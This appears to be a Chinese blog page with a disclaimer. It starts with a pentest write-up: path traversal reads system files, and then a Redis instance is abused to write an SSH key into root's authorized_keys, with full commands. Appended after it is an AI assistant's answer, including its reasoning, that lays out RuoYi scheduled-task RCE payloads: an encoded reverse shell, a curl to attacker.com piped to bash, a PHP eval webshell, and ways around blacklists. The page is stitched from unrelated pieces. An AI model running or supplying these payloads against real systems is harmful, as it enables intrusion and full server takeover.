分析Js到GetShell

声明 

   免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!

测试某系统,常规的功能点完后,发现没有什么有价值的洞,

F12 全局搜索 download 发现一处get接口

 使用burp访问发现500错误,应该是缺少参数

 使用x8 FUZZ参数

两秒之后 就出结果,发现存在path 参数

 访问之,提示文件不存在,有戏

尝试访问 etc/passwd,成功读取

 

读root用户的hisotry,发现开了10022 作为ssh端口

开启了 密钥登陆

 存在redis

 

读取redis密码

 

nmap发现6379也是开放,既然是root账户 直接 写个ssh公钥进去

 


ssh-keygen -t rsa
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > /tmp/key.txt
cat key.txt|redis-cli -h xxx.xx.xx.xx -a 'Pxxx3' -x set crack

# 链接redis
redis-cli -h xxx.xx -a 'Paxxxx123'


#获取redis备份的路径
CONFIG GET dir  # 截图忘记

#更改redis备份路径
CONFIG SET dir /root/.ssh

#设置备份文件的名称为authorized_keys
CONFIG SET dbfilename authorized_keys

#检查是否更改
CONFIG GET dbfilename
# 保存
save

 ssh -p10022 root@xxx.xxx.xxx 成功链接

 

 

<think>好的,我需要帮助用户了解如何利用若依定时任务漏洞获取Shell。首先,我需要回顾用户提供的引用内容,特别是引用[2]和[4],因为它们直接提到了若依系统的定时任务漏洞。 用户提到的引用[2]指出,若依版本低于4.6.2时,后台计划任务没有对调用目标字符串进行校验,允许攻击者执行任意命令。而引用[4]提到新版本采用了黑名单限制某些调用,但可能存在绕过方法。 首先,我需要确定漏洞的基本原理:攻击者通过定时任务功能注入恶意命令,从而执行系统命令获取Shell。步骤可能包括登录后台、创建定时任务、设置恶意调用目标,比如使用Runtime.exec或ProcessBuilder执行反弹Shell命令。 另外,引用[3]提到设置MySQL的general_log来写入Webshell,这可能是一种方法,但需要结合若依系统的数据库配置情况。如果若依使用MySQL且具有写权限,这种方法可行。 还需要考虑权限问题,用户需要获取后台管理员权限才能创建定时任务,所以漏洞利用的前提是已有后台访问权限。同时,新版本可能修补了该漏洞,因此需要确认目标系统的版本。 可能的问题是如何绕过黑名单限制。引用[4]提到屏蔽了ldap、http、rmi等协议,但可能还有其他未被过滤的类或方法,比如使用反射或非标准类来执行命令。 总结步骤应为:1. 获取后台权限;2. 创建定时任务,调用恶意类方法;3. 执行命令写入Webshell或反弹Shell。需要具体举例说明调用的字符串格式,如使用Runtime.getRuntime().exec()执行命令,或者利用数据库日志写入Shell。 同时要提醒用户漏洞修复建议,如升级版本、加强输入校验等。最后生成相关问题,帮助用户深入理解。</think>### 若依定时任务GetShell漏洞利用方法分析 若依(RuoYi)框架在定时任务功能中存在远程代码执行漏洞(RCE),攻击者可通过构造恶意调用字符串实现命令执行并获取Shell。以下是具体利用步骤及原理: --- #### **1. 漏洞核心原理** - **漏洞触发点**:后台计划任务的“调用目标字符串”参数未严格过滤,允许攻击者通过反射机制调用任意类方法[^2][^4]。 - **关键缺陷**:低版本(<4.6.2)未对`调用目标字符串`进行黑名单过滤,可直接调用`java.lang.Runtime`等敏感类执行系统命令。 --- #### **2. 利用步骤** **前提条件**:需获取后台管理员权限(如弱口令、其他漏洞进入后台)。 **步骤一:构造恶意调用字符串** - **直接调用Runtime类**: ```plaintext com.ruoyi.common.utils.StringUtils@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNDUuNjcuODkvOTAwMCAwPiYx}|{base64,-d}|{bash,-i}") ``` - 解释:Base64编码反弹Shell命令,解码后通过`Runtime.exec`执行。 - **通过ProcessBuilder类**: ```plaintext com.ruoyi.common.utils.StringUtils@getConstructor(String[].class).newInstance(new String[][]{{"bash","-c","curl http://attacker.com/shell.sh | bash"}}).start() ``` - 解释:利用反射调用`ProcessBuilder`执行远程脚本。 **步骤二:绕过黑名单(高版本)** 若目标版本采用黑名单(如过滤`ldap`、`http`、`rmi`),可尝试: - **使用非标准类**:如`javax.script.ScriptEngineManager`执行JavaScript代码。 - **编码混淆**:将命令转换为Hex或Base64编码绕过字符串检测。 **步骤三:获取Shell** - **反弹Shell**:通过上述命令建立反向连接至攻击者服务器。 - **写入Webshell**: ```plaintext com.ruoyi.common.utils.StringUtils@getRuntime().exec("echo '<?php @eval($_POST[cmd]);?>' > /var/www/html/shell.php") ``` - 需确保Web目录有写入权限[^3]。 --- #### **3. 漏洞修复建议** 1. 升级若依至4.6.2及以上版本。 2. 在定时任务调用目标中**强制白名单校验**,仅允许指定类方法。 3. 过滤敏感字符如`Runtime`、`ProcessBuilder`、`bash`等。 --- #### **4. 关联利用工具** - **漏洞检测工具**:使用若依漏洞检测脚本(如GitHub开源项目)验证目标是否存在漏洞。 - **自动化利用**:编写Python脚本模拟后台登录并自动提交恶意定时任务[^2][^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pyth0nn

送人玫瑰,手留余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值